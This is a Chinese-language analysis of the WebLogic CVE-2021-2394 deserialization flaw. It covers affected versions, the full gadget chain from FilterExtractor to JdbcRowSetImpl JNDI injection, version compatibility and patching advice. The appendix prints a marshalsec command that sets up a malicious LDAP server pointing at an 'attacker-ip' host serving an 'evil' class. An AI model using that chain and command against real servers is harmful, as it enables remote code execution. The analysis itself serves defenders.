WebLogic CVE-2021-2394 漏洞分析与利用指南
漏洞概述
CVE-2021-2394是Oracle WebLogic Server中的一个高危反序列化漏洞,CVSS评分9.8分。该漏洞结合了CVE-2020-14756和CVE-2020-14825的反序列化链,利用FilterExtractor类绕过2021年4月的安全补丁,可通过T3和IIOP协议执行远程代码。
受影响版本
- WebLogic 10.3.6.0.0
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
补丁回顾
在2021年4月的补丁中,Oracle修改了ExternalizableHelper中的readExternalizable方法,增加了对传入的DataInput类型的判断。如果是ObjectInputStream类型就会调用checkObjectInputFilter函数进行过滤,这使得直接反序列化com.tangosol.coherence.rest.util.extractor.MvelExtractor来造成RCE的方法失效。
调试环境搭建
- 系统环境:Win7虚拟机 + WebLogic 12.1.4 + JDK 8u181
- 修改
user_project/domains/base_domain/bin/setDomainEnv.cmd,在if %debugFlag == "true"%之前加入set debugFlag=true - 将Oracle_Home目录下所有文件拷贝至调试目录
- 将
\coherence\lib和\oracle_common\modules目录下所有文件添加到IDE的Libraries - 配置IDE中的JDK版本与虚拟机中运行的WebLogic JDK版本保持一致
- 添加Remote调试配置
漏洞利用原理
关键类分析
FilterExtractor类特征:
- 实现了
ExternalizableLite接口,重写了readExternal方法 readExternal方法会调用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper.readAttributeAccessor- 直接new一个
MethodAttributeAccessor对象,不受黑名单限制 extract方法中存在this.attributeAccessor.getAttributeValueFromObject()调用
绕过机制
虽然MethodAttributeAccessor已在黑名单中,但FilterExtractor的readExternal方法直接new了一个MethodAttributeAccessor对象,而不是通过反序列化得到,因此不受黑名单影响。
完整调用链
AttributeHolder.readExternal()
→ ExternalizableHelper.readObject()
→ ExternalizableHelper.readObjectInternal()
→ ExternalizableHelper.readExternalizableLite()
→ TopNAggregator.PartialResult.readExternal()
→ ExternalizableHelper.readObject()
→ ExternalizableHelper.readExternalizableLite()
→ FilterExtractor.readExternal()
→ SerializationHelper.readAttributeAccessor()
→ new MethodAttributeAccessor()
→ MethodAttributeAccessor.setAttributeName()
→ MethodAttributeAccessor.setGetMethodName()
→ MethodAttributeAccessor.setSetMethodName()
→ TopNAggregator.PartialResult.instantiateInternalMap()
→ WrapperComparator.compare()
→ FilterExtractor.compare()
→ FilterExtractor.extract()
→ MethodAttributeAccessor.getAttributeValueFromObject()
→ JdbcRowSetImpl.prepare()
→ JNDI注入
详细漏洞分析
- 反序列化过程从
AttributeHolder.readExternal()开始 - 通过
ExternalizableHelper读取TopNAggregator.PartialResult对象 PartialResult.readExternal()中读取FilterExtractor对象作为比较器FilterExtractor.readExternal()创建MethodAttributeAccessor并设置其属性- 当添加元素到
PartialResult时触发比较操作 - 比较操作最终调用
MethodAttributeAccessor.getAttributeValueFromObject() - 通过反射调用
JdbcRowSetImpl.prepare()方法导致JNDI注入
JNDI注入实现
- 攻击者构造恶意序列化数据,其中包含指向攻击者控制的LDAP服务器的JdbcRowSetImpl对象
- WebLogic反序列化时触发漏洞
- 受害者服务器向攻击者的LDAP服务器发起请求
- LDAP服务器返回恶意Java类的引用
- 受害者服务器从攻击者控制的HTTP服务器下载并执行恶意代码
注意:在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,导致LDAP+JNDI的RCE方法失效。
版本兼容性问题
测试发现不同WebLogic版本的JAR包存在兼容性问题:
| JAR版本 | WebLogic版本 | 成功情况 |
|---|---|---|
| 12.1.3.0.0 | 12.1.3.0.0 | 成功 |
| 12.1.3.0.0 | 12.2.1.3.0 | 失败 |
| 12.2.1.3.0 | 12.2.1.3.0 | 成功 |
| 12.2.1.3.0 | 14.1.1.0.0 | 成功 |
| 14.1.1.0.0 | 14.1.1.0.0 | 成功 |
特别地,10.3.6.0.0版本中缺少com.tangosol.util.SortedBag和com.tangosol.util.aggregator.TopNAggregator类,无法直接使用基于TopNAggregator.PartialResult的POC。
2021年7月补丁影响
7月补丁在WebLogicFilterConfig类的DEFAULT_BLACKLIST_PACKAGES字段中新增了oracle.eclipselink.coherence.integrated.internal.querying包,而FilterExtractor类正好在此包下,因此被黑名单拦截。
修复建议
通用修补建议
Oracle官方已发布补丁,应及时更新:
https://www.oracle.com/security-alerts/cpujul2021.html
临时修补建议
- 如果不依赖T3协议进行JVM通信,可禁用T3协议
- 如果不依赖IIOP协议进行JVM通信,可禁用IIOP协议
参考资源
- https://www.cnblogs.com/potatsoSec/p/15062094.html
- https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA
附录:漏洞验证POC
(注:出于安全考虑,此处不提供完整攻击代码,仅描述原理)
POC主要包含以下关键组件:
- 恶意序列化的
TopNAggregator.PartialResult对象 - 包含
FilterExtractor和MethodAttributeAccessor的构造 - 指向攻击者控制LDAP服务器的
JdbcRowSetImpl对象
验证时可使用marshalsec搭建恶意JNDI服务端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-ip:8000/#evil 1389
python -m http.server